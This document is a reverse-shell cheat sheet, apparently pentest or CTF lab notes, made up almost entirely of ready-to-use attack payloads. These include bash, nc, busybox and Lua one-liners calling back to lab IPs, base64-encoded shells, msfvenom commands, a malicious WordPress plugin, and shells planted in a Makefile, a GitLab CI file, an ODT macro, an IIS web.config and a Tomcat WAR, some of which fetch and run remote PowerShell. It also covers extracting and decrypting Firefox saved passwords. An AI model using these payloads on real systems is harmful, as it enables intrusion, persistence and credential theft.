Reverse Shells

External Cheat Sheet

#external_Sheet

WordPress Plugin

#wordpress_plugin

<?php
/**
* Plugin Name: Reverse Shell Plugin
* Plugin URI:
* Description: Reverse Shell Plugin
* Version: 1.0
* Author: Vince Matteo
* Author URI: http://www.sevenlayers.com
*/
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.86.99/443 0>&1'");
?>

NC

#basic_nc

nc -e /bin/sh 10.0.3.4 4444
nc -e /bin/bash 10.0.3.4 4444

#stealthy_nc

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.166 1234 >/tmp/f

#busybox_nc

busybox nc 192.168.45.248 8080 -e /bin/sh

#base64_nc

create the base64 payload:

echo -n 'bash -i >& /dev/tcp/10.10.14.19/443 0>&1' | base64

Or

echo -n "bash -c 'bash -i >& /dev/tcp/10.10.14.19/443 0>&1'" | base64

Or

echo -ne "bash -c 'bash -i >& /dev/tcp/10.10.14.19/443 0>&1'" | base64 -w0

Explanation:

  • echo -n → Don’t print a trailing newline (\n).
  • -e → Interpret escape sequences inside the quotes, e.g. \n, \t, \x41, etc.
  • | base64 -w0 → Encode to Base64 without wrapping lines (the -w0 flag disables line breaks, Base64 encoders often insert line breaks every 76 characters (MIME convention). For scripts/payloads you usually want a single line (no \n inside), so use -w0.).

on victim:

echo bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjE0LjcgNDQzCg== | base64 -d | sh

or

echo bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjE0LjcgNDQzCg== | base64 -d | bash

#rlwrap_nc

For a better non-TTY shell with history, and blocking accidental CTRL+C

stty intr ''   # disable Ctrl+C
rlwrap -N nc -lnvp 8080
stty intr ^C   # restore Ctrl+C

Or (one liner)

stty intr ''; rlwrap nc -lnvp 8080

To kill the shell, background it

CTRL + Z

Find it

bg

Then kill it

Kill %1

Bash

#bash_forced

/bin/bash -c 'bash -i >& /dev/tcp/192.168.86.99/443 0>&1'

#base64_bash

When there are issues with quotes inside quotes or some bad characters in the exploit we use base64

python cve-2019-9193.py -i 192.168.137.60 -c "echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjE5MC84MDgwIDA+JjEn | base64 -d | bash"

alt text

#bash_escaped_quotes

we can escape quotes inside of an exploit to avoid the double/nested quote issue (when quoted bash run inside a program already using the quotes ’…’)

python cve-2019-9193.py -i 192.168.137.60 -c "bash -c \"bash -i >& /dev/tcp/192.168.45.190/8080 0>&1\""

This will become —> bash -c "bash -i >& /dev/tcp/192.168.45.190/8080 0>&1" inside the PostgreSQL exploit which uses FROM PROGRAM ’…’

our final command becomes:

FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/192.168.45.190/8080 0>&1"'

What “double quote issue” means here
  • You have three layers of interpretation:

    1. Python / exploit script → parses the -c argument inside double quotes ”…”

    2. PostgreSQL COPY FROM PROGRAM → parses the string inside single quotes ’…’

    3. Target Bash → executes the command

  • If your payload contains unescaped quotes, one layer may think the string ends early, breaking the command.

Msfvenom

#msfvenom

Non-Staged

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.166 LPORT=443 -f exe -o nonstaged.exe

Staged

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.45.166 LPORT=443 -f exe -o staged.exe

Jenkins Script Rev shell

#jenkins_script

Guide available here: https://github.com/Brzozova/reverse-shell-via-Jenkins

Thread.start {
String host="<your_machine_IP>";
int port=<your_webserver_port>;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
}

Lua rev shell

Linux only

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4242');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Linux and Windows

lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

Makefile rev shell

install:
		bash -c 'bash -i >& /dev/tcp/192.168.86.99/443 0>&1'

Windows ODT macro rev shell

we plant this using libreoffice, an ODT rev shell, we select a Basic Macro, and create a new one

Sub Main
	Shell("cmd /c powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.45.161:8001/powercat.ps1');powercat -c 192.168.45.161 -p 135 -e powershell") 
End Sub

after that, in tools —> Customize —> Events —> Open Document —> assign Macro —> select our macro file

Web.config upload rev shell

When we have an upload page, all extensions are not allowed, but web.config file upload is allowed, we can execute web.config as an ASPX page. The web.config file has settings and configuration data for web applications on IIS servers. It is similar to a .htaccess on an Apache server. We can potentially include asp code in the web.config and get it to run.

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<%@ Language=VBScript %>
<%
  call Server.CreateObject("WSCRIPT.SHELL").Run("cmd.exe /c powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.5/Invoke-PowerShellTcp.ps1')")
%>

Webdav rev shell upload

with basic authentication, we can upload a nc.exe or revshell we create to the webdav using

curl --user 'jane:password' -T 
./nc.exe http://192.168.45.12/webdav/nc.exe
  • curl — HTTP client.
  • --user 'jane:password' — sends HTTP Basic Authentication with username jane and password password (base64‑encoded in the request).
  • -T ./nc.exeupload (aka --upload-file) the local file at that path using an HTTP PUT to the URL you give.
  • http://192.168.45.12/webdav/nc.exe — the destination URL. Because the path contains webdav, this is typically a WebDAV-enabled endpoint that accepts PUTs to create/replace files.

Mozilla password decrypt

There is this tool called firefox_decrypt, we extract from the directory .mozilla/firefox/te2rsyhat.default-esr/ 2 files

key4.db
login.json

run firefox_decrypt on mozilla folder

python3 firefox_decrypt -d mozilla

or specify the profile location (after zipping and downloading the whole mozilla directory)

tar -zcvf /var/tmp/mozilla.tar.gz .mozilla

unzip and decrypt passwords

tar -zxvf mozilla.tar.gz
python3 firefox_decrypt ./.mozilla/firefox/te2rsyhat.default-esr

Gitlab-ci yml rev shell

if we have a GitLab CI/CD (Continuous Integration and Continuous Deployment) . We can benefit from injecting a rev shell in the .gitlab-ci.yml file —> it’s a whole process of modifying the core configuration file for GitLab CI/CD (Continuous Integration and Continuous Deployment). It tells GitLab how to run your pipelines—defining what to build, test, and deploy, and under what conditions.

the .gitlab-ci.yml file — the main configuration file used by GitLab CI/CD.

Here’s what it means, broken down simply:

  • “.gitlab-ci.yml” → This file (stored at the root of your repository) defines all the automation rules for GitLab’s CI/CD pipelines.

  • “modifying the core configuration file” → means editing this YAML file to control what GitLab does automatically when code changes (like running tests, building apps, or deploying).

  • “tells GitLab how to run your pipelines” → you describe jobs (like build, test, deploy) and when they should run (for example, only on certain branches).

  • “defining what to build, test, and deploy, and under what conditions” → you specify each step of your project’s workflow — from compiling code to testing and deployment — along with conditions like branch names, tags, or merge requests.

let’s create a config file with a rev shell injected


before_script:
	- python3 --version # For debigging

test:
  script:
    - /bin/bash -c 'bash -i >& /dev/tcp/192.168.45.174/8443 0>&1'

run:
  script:
    - echo "Insert something useful here"

Tomcat rev shell

We can generate the war file and upload it by ourselves

msfvenom -p java/shell_reverse_tcp lhost=10.10.14.20 lport=80 -f war -o pwn.war

then upload it

curl -v -u tomcat:'$3cureP4s5w0rd123!' --upload-file pwn.war "http://10.10.10.194:8080/manager/text/deploy?path=/foo&update=true"

then trigger it

curl 10.10.10.194:8080/foo

Or we can use the tool warsend.sh for automated tomcat rev shell (https://github.com/thewhiteh4t/warsend)

./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat \$3cureP4s5w0rd! revshell